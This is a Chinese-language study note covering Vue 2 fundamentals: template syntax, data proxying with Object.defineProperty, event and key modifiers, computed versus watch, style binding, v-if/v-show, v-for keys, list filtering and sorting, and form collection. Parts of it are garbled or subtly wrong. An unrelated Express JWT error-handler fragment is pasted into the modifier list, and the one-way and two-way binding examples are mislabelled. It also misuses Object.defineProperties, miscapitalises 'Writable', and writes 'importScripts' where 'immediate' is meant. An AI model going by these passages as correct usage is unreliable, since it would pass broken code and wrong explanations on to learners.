Vue核心
Vue简介
什么是VUE
Vue是一套用于构建用户界面的渐进式JavaScript框架
Vue中文文档
Vue官方文档
什么是渐进式:
- Vue可以自底向上逐层的应用
- 简单的应用:只需要一个轻量小巧的核心库
- 复杂的应用:可以引入各式各样的Vue插件
谁开发的

Vue的特点
- 采用组件化模式,提高代码复用率,且让代码更好维护。

- 声明式编码。让编码人员无需直接操作DOM。提高开发效率。


- 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点。

在chrome下载Vue扩展程序
密码:6666
导入Vue
再导入Vue后会出现启动Vue生成的生产提示,可以通过
1 2
| Vue.config.productionTip = false;
|
关闭提示。
Hello Vue
准备一个容器
1 2 3 4 5
| <!-- 准备好一个容器 --> <div id="root"> <h1>Hello, {{ name }}</h1> </div>
|
动态的数据要使用插值语法{{}}
root容器中的代码被称为Vue模板
创建Vue实例
1 2 3 4 5 6 7 8 9
| Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data: { name: 'Vue', } });
|
- element 元素 指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
- data 中用于存储数据,数据共el所指定的容器去使用,值暂时写成一个对象
vue实例也可以不用变量接收
容器和实例一一对应,一个容器对应一个实例,一个实例对应一个容器。
注:当一个容器中有很多动态数据时候,一个实例也可以应付。一个实例下可以存在多个“手下”,这个所谓的手下就是之后的组件
区分js表达式和js代码(语句)
1.js表达式
一个表达式会产生一个值。可以放在任何一个需要值的地方:
- a 一个a变量
- a+b a变量+b变量
- demo(1) 调用demo()函数
- etc…
2.js代码(语句)
- if(){}
- for(){}
- etc…
容器中的{{}}“又称vue模板”
在容器中的{{}}插值语法块中。可以存放表达式,并且也可以生效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <div class="root"> <h1>Hello,{{ name }},{ { age+1 }},{{ 2+2 }}</h1> </div>
<script> Vue.config.productionTip = false; const vm = new Vue({ el: '.root', data: { name: 'World', age: 18 } }); </script>
|
结果:Hello, World,19,4
巧妙使用Vue扩展框架

Vue模板语法
1.插值语法
功能:
用于解析标签体内容
标签体就是起始标签和结束标签包裹的东西,例如<h3>你好,{{name}}</h1>
写法:
{{}},xxx就是js表达式,且可以直接读取到data中的所有属性
2.指令语法
功能:
用于解析标签(包括:标签属性,标签体内容,绑定事件。。。。。。)
举例:
v-bind:href="xxx"
或者 简写为 :href="xxx"
,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
简单来说就是加了v-bind:的属性后“ ”内的部分会变成表达式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <div class="root"> <h1>插值语法</h1> <h3>你好,{{name}}</h1> <hr/> <h1>指令语法</h1> <a v-bind:href="school.url" :index="name">点击跳转{{ school.name }}官网</a> </div> <script> Vue.config.productionTip = false; new Vue({ el: '.root', data: { name: 'Jack', school: { name: 'Vue', url: 'https://staging-cn.vuejs.org/guide/introduction.html' } } }); </script>
|
备注:
Vue中有很多指令,且形式都是v-???,此处我们只是拿v-bind举例子
数据绑定
数据绑定类型分为:
双向数据绑定之v-model:
之前所学的v-bind:属于单向数据绑定。
v-model:就属于双向数据绑定
注意:v-model:一般应用在表单类元素(输入类元素)上
简写:
v-model='name'
1 2 3
| 双向数据绑定:<input type='text' :value='name'><br/> 单向数据绑定:<input type='text' v-model='name'><br/>
|
data与el的两种写法
el有两种写法
new Vue时候配置el属性
1 2 3 4 5 6 7
| const v = new Vue({ el: '.root', data: { name: 'Found', } });
|
先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值
1 2 3 4 5 6 7 8
| const v = new Vue({ data: { name: 'Found', } }); console.log(v);
v.$mount('.root');
|
data有两种写法
对象式
1 2 3 4 5 6 7
| new Vue({ el: '.root', data: { name: 'FOund' } })
|
函数式
1 2 3 4 5 6 7 8 9
| new Vue({ el: '.root', data() { return { name: 'FOund' } } })
|
一个重要的原则:
由Vue管理的函数,一i的那个不要写箭头函数,一旦写了箭头函数,this就不再指向Vue实例
MVVM模型
- M:模型(Model):对应data中的数据
- V:视图(View):模板
- VM:视图模型(ViewModel):Vue实例对象

- data中所有的属性,最后都出现在vm身上。
- vm身上所有属性以及Vue原型上所有属性,在Vue模板中都可以直接使用
数据代理
回忆Object.defineProperty
使用Object.defineProperty添加的数据不可被遍历(枚举)-修改-删除
- enumerable: true 控制属性是否可以被枚举,默认false
- Writable: true 控制属性是否可以被修改,默认false
- configurable: true 控制属性可以被删除,默认false
get() 当有人读取person的age属性时,get函数(gutter)就会被调用,且返回值就是age的值
set(value) 当有人修改person的age属性时,get函数(gutter)就会被调用,且返回值就是age的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| let person = { name: '张三', sex: '男', }; let number = 10; Object.defineProperty(person, 'age', { enumerable: true, Writable: true, configurable: true, get() { return number; }, set(value) { number = value; } }); console.log(person);
|
数据代理
何为数据代理:
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
通过obj2就可以修改obj1中的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| let obj1 = { x: 100, }; let obj2 = { y: 200 };
Object.defineProperties(obj2, 'x', { get() { return obj1.x; }, set(value) { obj2.x = value; } })
|
Vue中的数据代理
- Vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读与写)
Vue中数据代理的好处:
更加方面的操作data中的数据
基本原理:
通过Object.defineProperty()
把data对象中所有的属性添加到vm上。
为每个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。
data中的所有属性被传给_data,虽然vm上也有对应的属性,但实际上这些属性都是代理上的。
当我更改了vm.name='123'
, _data中的属性name也同样被修改(即最初传进去的data数据),此时被更改的name也会被更新到页面中,因为Vue的数据实时更新特性

事件处理
事件的基本使用:
- 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名;
- 事件的回调需要配置在methods对象中,最终会在vm上;
- methods中配置的函数,不要再用箭头函数!否则this就不是vm了;
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象;
- @click=“demo” 和 @click=”demo($event)” 效果一致,但后者可以传参;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <div id="root"> <h2>hello {{name}}!</h2> <button v-on:click="showInfo1">(不传参)点我提示信息1</button> <button @click="showInfo2(66,$event)">(传参)点我提示信息2</button> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { name: 'FOund', } }, methods: { showInfo1(event) { alert('hi!'); }, showInfo2(number, a) { console.log(number, a); alert('hi!!'); }, }, }); </script>
|
事件修饰符:
@click.prevent="showInfo1"
- prevent:阻止默认事件(常用)
- stop:阻止事件冒泡(常用)
- xxxxxxxxxx // TODO_06:使用全局错误处理中间件,捕获解析 JWT 失败后产生的错误app.use((err, req, res, next) => { if (err.name === ‘UnauthorizedError’) { return res.send({ status: 401, message: ‘无效的token’ }) } res.send({ status: 500, message: ‘未知错误’ })});js
- capture:使用事件的捕获模式
- self:只有event.target是当前操作的元素,才触发事件
- passive:事件的默认行为立即执行,无需等待事件回调执行完毕
修饰符可以连续写,当想要阻止冒泡,又想阻止默认行为可以.stop.prevent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <div id="root"> <h2>hello {{name}}!</h2> <a href="https://www.baidu.com/" @click.prevent="showInfo1">点我提示信息1</a> <div class="demo1" @click="showInfo1"> <button @click.stop="showInfo1">点击</button> </div> <button @click.once="showInfo1">点击</button> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { name: 'FOund', } }, methods: { showInfo1(event) { alert('hi!'); }, }, }); </script>
|
键盘事件:
Vue中常用的按键别名:
- 回车:enter
- 删除:delete (捕获“删除”和“退格”键)
- 推出:esc
- 空格:space
- 换行:tab (特殊,配合keydown使用)
- 上:up
- 下:down
- 左:left
- 右:right
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <div id="root"> <input type="text" placeholder="按下回车提示输入" @keyup.enter="shouInfo"> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { name: 'FOund', } }, methods: { shouInfo(e) { console.log(e.target.value); }, }, });
|
Vue未提供别名的按键
可以使用按键原始key值去绑定,但注意要转为kebab-case(短横线命名)
可以使用e.key
获取按键别名
1 2 3 4
| shouInfo(e) { console.log(e.key); },
|
注意:CapsLock(大小写切换)这种形式要写成caps-lock
系统修饰符
用法特殊:ctrl,alt,shift,meta
配合keyup使用:按下修饰按键的同时,再按下其他按键,随后释放其他键,事件才触发
@keyup.ctrl.y
指定ctrl配合y使用
1
| <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="shouInfo">
|
配合keydown使用:正常触发事件。
1
| <input type="text" placeholder="按下回车提示输入" @keydown.ctrl="shouInfo">
|
使用keyCode去指定按键
@keyup.13
指定’回车键‘
1 2 3
| <div id="root"> <input type="text" placeholder="按下回车提示输入" @keyup.13="shouInfo"> </div>
|
自定义按键别名
Vue.config.keyCodes.自定义键名=键码
1
| Vue.config.keyCodes.huiche = 13;
|
计算属性与监视
插值语法方式
要求:拼接姓名两个表单中的值到span中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <div id="root"> 姓:<input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br>姓名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span> </div> <script> Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data() { return { firstName: '张', lastName: '三', } }, methods: { shouInfo(e) { console.log(e.target.value + " " + e.key); }, }, }); </script>
|
methods方法
将两个表单数据相加写成一个函数方法,在插值语法中调用。
注意:在插值语法中,函数方法**必须加( )**代表调用,这是才会返回正确的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <div id="root"> 姓:<input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br>姓名:<span>{{fullName()}}</span> </div> <script> Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data() { return { firstName: '张', lastName: '三', }; }, methods: { fullName() { return this.firstName + '-' + this.lastName; } }, }); </script>
|
计算属性方法-computed
定义:
要用的属性不存在,要通过已有属性计算得来
原理:
底层借助了Object.defineProperty()
方法提供的getter和setter方法
get何时执行
- 初次读取时会执行一次
- 当依赖的数据发生改变时会再次调用
优势:
computed与methods实现相比,内部会有缓存机制(复用),效率高,调试更方便。
备注:
- 计算属性最终会出现在vm上,直接读取数据即可
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <div id="root"> 姓:<input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 姓名:<span>{{fullName}}</span><br> </div> <script> Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data() { return { firstName: '张', lastName: '三', }; }, computed: { fullName: { get() { console.log('get被调用'); return this.firstName + '-' + this.lastName; }, set(value) { console.log('set', value); const arr = value.split('-'); this.firstName = arr[0]; this.lastName = arr[1]; } } } }); </script>
|
简写:
在不考虑修改只需要读取时候可以采用简写形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <div id="root"> 姓:<input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 姓名:<span>{{fullName}}</span><br> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { firstName: '张', lastName: '三', }; }, // 全新的配置项 computed: { // 简写 fullName() { return this.firstName + '-' + this.lastName; }, } }); </script>
|
监视属性-watch
先写一个切换天气案例
- 数据 存放进data中
- 方法存放在methods中
- 计算属性的方法单独放在computed中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="change">切换天气</button> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { isHot: true } }, methods: { change() { this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } } }) </script>
|
监听属性
将watch放在new Vue内部:
- immediate: true,
- 初始化时让handler调用一下,默认值false
- handler(newValue, oldValue) { },
- 当isHot发生改变时调用,同时还可以获取修改前的值(oldValue)和修改后的值(newValue)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="change">切换天气</button> </div> </body> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { isHot: true } }, methods: { change() { this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, watch: { isHot: { immediate: true, handler(newValue, oldValue) { console.log('isHot被修改', newValue, oldValue); } } } }); </script>
|
将watch放在外部调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="change">切换天气</button> </div> </body> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { isHot: true } }, methods: { change() { this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, });
vm.$watch('isHot', { immediate: true,
handler(newValue, oldValue) { console.log('isHot被修改', newValue, oldValue); } })
|
深度监视deep
当监听的数据是一个复杂数据的时候watch监视的只是一个在栈空间的地址,不管外界怎样改变numbers对象中的值,都不会触发监视。
- Vue中的watch默认不监测对象内部值的变化(一层)
- 配置
deep:true
可以监测对象内部值得变化(多层)
使用deep: true
开启深度监听,此时的vue就可以监听到数据内部的变化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="change">切换天气</button> <hr> <h3>a的值是:{{numbers.a}}</h3> <button @click="numbers.a++">点我让a加1</button> <h3>b的值是:{{numbers.b}}</h3> <button @click="numbers.b++">点我让b加1</button> </div> </body> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { isHot: true, numbers: { a: 1, b: 2 } } }, methods: { change() { this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, watch: { isHot: {
handler(newValue, oldValue) { console.log('isHot被修改', newValue, oldValue); } },
numbers: { deep: true, handler() { console.log('number改变了'); } } } });
|
备注:
- Vue自身可以监测对象内部值的变化,但Vue提供的watch默认不可以
- 使用watch时根据数据的具体结构,决定是否采用深度监视
监听简写
所有调用简写的前提就是只监听一个数据并且不触发深入监听,就是没有
- importScripts: true
- deep: true
内部调用简写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="change">切换天气</button> <hr> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { isHot: true, numbers: { a: 1, b: 2 } } }, methods: { change() { this.isHot = !this.isHot; } }, computed: { info() { return this.isHot ? '炎热' : '凉爽'; } }, watch: {
isHot(newValue, oldValue) { console.log('isHot被修改', newValue, oldValue); } } }); </script>
|
外部调用简写:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
vm.$watch('isHot', function(newValue, oldValue) { console.log('isHot被修改', newValue, oldValue); });
|
使用watch实现computed
思路:
- 姓氏,名字改变,span中的姓名也改变,这时就可以使用watch监视姓和名的改变
- 要提前在data中准备好一个最终加好数据
fullName
- 监视姓/名的改变,当改变的时候将
fullName
更改为新的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <div id="root"> 姓:<input type="text" v-model="firstName"><br> 名: <input type="text" v-model="lastName"><br> 姓名: <span>{{fullName}}</span><br> </div> <script> Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data() { return { firstName: '张', lastName: '三', fullName: '张-三' }; }, watch: { firstName(newV) { this.fullName = newV + '-' + this.lastName; }, lastName(newV) { this.fullName = this.firstName + '-' + newV; } }, }); </script>
|
区别:
- computed能完成的功能,watch都可以完成。
- watch能完成的功能,computed不一 定能完成,例如: watch可以进行异步操作。
原则:
计算属性computed
中不可以使用异步任务
computed
中是return一个数据,异步任务不可行
需求:数据改变后延迟1s执行span中的改变
在watch中实现:
1 2 3 4 5 6 7 8 9 10
| watch: { firstName(newV) { setTimeout(() => { this.fullName = newV + '-' + this.lastName; }, 1000); }, lastName(newV) { this.fullName = this.firstName + '-' + newV; } },
|
注意:使用箭头函数,如果使用普通函数,此时的this指向的是window,而箭头函数的特殊性使得this指向Vue
绑定样式
1.class样式
写法:class=“xxx” xxx可以是字符串,对象,数组
- 字符串写法适用于:类名不确定,要动态获取
- 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
- 数组写法 适用于:要绑定多个样式,个数确定,名字确定,但不确定用不用
1 2 3 4 5 6 7 8
| <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br>
<div class="basic" :class="classArr">{{name}}</div> <br>
<div class="basic" :class="classObj">{{name}}</div>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { name: 'FOund', mood: 'normal', classArr: ['atguihu1', 'atguihu2', 'atguihu3'], classObj: { atguihu1: false, atguihu2: false }, } }, methods: { changeMood() { const arr = ['happy', 'sad', 'normal']; const index = Math.floor(Math.random() * 3); this.mood = arr[index]; }, }, });
|
2.style样式
- **:style=”{fontSize:xxx}” ** 其中xxx是动态值
- :style=”[a,b]” 其中a,b是样式对象
1 2 3 4 5
| <div class="basic" :style="styleObj1">{{name}}</div> <br>
<div class="basic" :style="[styleArr]">{{name}}</div>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { name: 'FOund', styleObj1: { fontSize: '40px', }, styleObj2: { color: 'red', }, styleArr: [{ fontSize: '40px', color: 'red' }, { backgroundColor: 'gray' }] } }, });
|
条件渲染
1.v-if
写法:
- v-if=”表达式”
- v-else-if=”表达式”
- v-else=”表达式”
适用于:
切换频率较低的场景
特点:
不展示的DOM元素直接被移除
注意:
v-if可以和:v-else-if,v-else一起使用,但要求结构不能被“打断”
1 2 3
| <h2 v-if="false">Hello {{name}}</h2> <h2 v-if="1===1">Hello {{name}}</h2>
|
1 2 3 4 5
| <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else="">HH</div>
|
v-if与template配合使用:
template标签在渲染页面中时会自动消失
1 2 3 4 5
| <template v-if="n === 1"> <h2>你好</h2> <h2>世界</h2> <h2>北京</h2> </template>
|
2.v-show
写法:
v-show=”表达式”
适用于:
切换频率较高的场景
特点:
不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
1 2 3
| <h2 v-show="false">Hello {{name}}</h2> <h2 v-show="1===1">Hello {{name}}</h2>
|
3.备注
使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到
列表渲染
v-for指令
- 用于展示列表数据
- 语法:v-for=“(item,index) in xxx” :key=”yyy”
- 可遍历:数组,对象,字符串(很少用),指定次数(更少用)
v-for = “(值,[索引]) in [被遍历的]”
容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <div id="root"> <h2>人员列表(遍历数组)</h2> <ul> <li v-for="(p,index) in persons" :key="index"> {{p.name}}-{{p.age}}--{{index}} </li> </ul>
<h2>汽车信息(遍历对象)</h2> <ul> <li v-for="(a,b) in car" :key="k"> {{a}}--{{b}} </li> </ul>
<h2>测试遍历字符串</h2> <ul> <li v-for="(a,b) in str" :key="b"> {{a}}--{{b}} </li> </ul>
<h2>遍历指定次数</h2> <ul> <li v-for="(number,index) in 5" :key="index"> {{number}}--{{index}} </li> </ul> </div>
|
数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Vue.config.productionTip = false;
new Vue({ el: '#root', data() { return { persons: [{ id: '001', name: '张三', age: '18' }, { id: '002', name: '李四', age: 18 }, { id: '003', name: '王五', age: 20 }], car: { name: '奥迪A6', price: '20w', }, str: 'hello' } }, })
|
:key=“”深入理解
1.虚拟DOM中key的作用
key是虚拟DOM对象的标识,当中的数据发生改变时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【虚拟DOM】与【旧虚拟DOM】的差异进行比较。
2.比较规则
a.
旧DMO中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没有改变,直接使用之前的真实DOM!
- 若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
b.
旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM,随后渲染到页面中
3.用index作为key可能会引发的问题
若对数据进行:逆序添加,逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新===>界面效果没问题,但是效率低
如果结构中还包含输入类的DOM:
会产生错误的DOM更新===>界面有问题
4.开发中如何选择key
- 最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一值。
- 如果不存在对数据的逆序添加,逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。


列表过滤
实现模糊搜索功能
watch监听实现
编写思路:
- 通过watch可以监视到input输入框的变化
- 提前准备一个接收inputValue值的数据(使用v-model双向绑定这一数据)
- 渲染进页面中的数据要用另一个数组承载
- 当input中的值(也就是keyWord)发生改变,就是用filter方法过滤初始数组
- 过滤条件使用indexOf,将不为-1的数据(符合条件的数据)return进承载的新数组中
- 注意页面中渲染的DOM为承载的数组
注:
- indexOf(“”)返回为0,当检索的为空字符串时返回的值也为0
- 使用
immediate: true,
先执行一次监听方法,不然页面空白
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) in filPerson" :key="p.id"> {{p.name}}-{{p.age}}--{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { keyWord: '', persons: [{ id: '001', name: '马冬梅', age: 18, sex: '女' }, { id: '002', name: '周冬雨', age: 18, sex: '女' }, { id: '003', name: '周杰伦', age: 20, sex: '男' }, { id: '004', name: '温兆伦', age: 22, sex: '男' }], filPersons: [] } }, watch: { keyWord: { immediate: true, handler(newVal) { this.filPersons = this.persons.filter((p) => { return p.name.indexOf(newVal) !== -1 }) } } } }) </script>
|
computed属性计算实现
编写思路:
- 同样借助input中值的变化来改变下方数据
- 同上不同,页面中的DOM是
filPerson
返回的数组
- 因双向绑定,当input的值改变,
filPerson
也同样改变
注意:
- 页面的渲染遍历的数据是
filPerson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) in filPerson" :key="p.id"> {{p.name}}-{{p.age}}--{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { keyWord: '', persons: [{ id: '001', name: '马冬梅', age: 18, sex: '女' }, { id: '002', name: '周冬雨', age: 18, sex: '女' }, { id: '003', name: '周杰伦', age: 20, sex: '男' }, { id: '004', name: '温兆伦', age: 22, sex: '男' }], } }, computed: { filPerson() { return this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }) } } }) </script>
|
列表排序
实现对数据的检索,同时可以升序,降序,还原
- 页面中的数据是
filPerson
返回的,只要对其进行操作就可以达到效果
- 为每个button添加点击,点击不同的按钮让
sortType
发生改变
- 对不同
sortType
的值写出相应的改变
注意:
- 数组的排序方法
sort(a,b)
改变原数组
- b-a降序,a-b升序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">还原</button> <ul> <li v-for="(p,index) in filPerson" :key="p.id"> {{p.name}}-{{p.age}}--{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { keyWord: '', sortType: 0, persons: [{ id: '001', name: '马冬梅', age: 30, sex: '女' }, { id: '002', name: '周冬雨', age: 18, sex: '女' }, { id: '003', name: '周杰伦', age: 20, sex: '男' }, { id: '004', name: '温兆伦', age: 22, sex: '男' }], } }, computed: { filPerson() { const arr = this.persons.filter((p) => { return p.name.indexOf(this.keyWord) !== -1 }); if (this.sortType) { arr.sort((a, b) => { return this.sortType === 1 ? b.age - a.age : a.age - b.age }) }; return arr; }, } }) </script>
|
Vue监测数据的原理
- vue会监视data中所有层次的数据
- 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据
- 对象中后追加的数据,Vue默认不做响应式处理
- 如需给后添加的属性做响应式,请使用如下API
Vue.set(target,propertyName/index,value)
Vue.$set(target,propertyName/index,value)
- 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事
- 调用原生对应的方法对数组进行更新
- 重新解析模板,进而更新页面
- 在Vue修改数组中的某个元素一定要使用如下方法:
- 使用这些API:push(), pop(), shift(), unshift(), splice(), sort(), reverse()
- Vue.set()或vm.$set()
特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| <div id="root"> <h1>学生信息</h1>
<button @click="student.age++">年龄+1</button> <button @click="addSex">点击添加性别</button> <button @click="student.sex='未知'">修改性别</button>
<button @click.once="addFriend">在列表首位添加一个朋友</button>
<button @click="changeZs">修改第一个朋友的名字为张三</button>
<button @click="addHobby">添加一个爱好</button> <button @click="changeHobby">修改第一个爱好</button>
<h3>姓名:{{student.name}}</h3> <h3>年龄:{{student.age}}</h3> <h3 v-if="student.sex">性别:{{student.sex}}</h3> <h3>爱好:{{student.hobby}}</h3>
<ul> <li v-for="(h, index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们</h3> <ul> <li v-for="(f, index) in student.friends" :key="index"> {{f.name}}---{{f.age}} </li> </ul> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { student: { name: 'tom', age: 18, hobby: ['抽烟', '喝酒', '烫头'], friends: [{ name: 'jerry', age: 35 }, { name: 'tony', age: 36 }] } } }, methods: { addSex() { this.$set(this.student, 'sex', '男'); }, addFriend() { this.student.friends.unshift({ name: 'jack', age: 70 }) }, changeZs() { this.student.friends[0].name = '张三'; }, addHobby() { this.student.hobby.push('学习'); }, changeHobby() { this.$set(this.student.hobby, 0, '开车') } }, }) </script>
|
附:何为数据劫持?
数据劫持就是当用户修改data中的数据的时候,被后台中途拦截,而调用了Vue包装的set/get方法,从而使得数据发生改变。
收集表单数据
Vue中的收集表单更加方便快捷,其主要应用在v-model身上。而且v-model也提供了些修饰符供使用
text表单
若<input type="text" v-model.trim="account">
则v-model收集的是value值,用户输入的是value值。
radio单选
若<input type="radio" name="sex" v-model="sex" value="male">
则用户收集的就是checked(勾选or未勾选,是布尔值)
checkbox多选
- 没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
- 配置input的value属性:
- v-model的初始值是非数组,那么收集的就是checkbox(勾选or未勾选,是布尔值)
- v-model的初始值是数组,那么收集的是value组成的数组
备注:
v-model的三个修饰符:
- v-model.lazy:失去焦点再收集数据
- v-model.number:输入字符串转换为有效数组
- v-model.trim:输入首尾空格过滤
为from添加事件
- 可以不用为button添加提交事件
- 将submit事件添加到from身上
- 使用修饰符
@submit.prevent
阻止默认提交
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
